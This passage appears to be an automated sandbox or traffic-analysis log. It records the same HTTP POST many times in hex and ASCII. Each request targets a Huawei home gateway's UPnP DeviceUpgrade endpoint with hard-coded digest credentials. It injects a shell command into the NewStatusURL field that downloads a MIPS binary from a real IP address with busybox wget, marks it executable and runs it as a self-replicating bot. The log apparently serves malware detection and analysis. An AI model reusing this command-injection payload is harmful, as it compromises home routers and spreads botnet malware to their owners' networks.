selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo 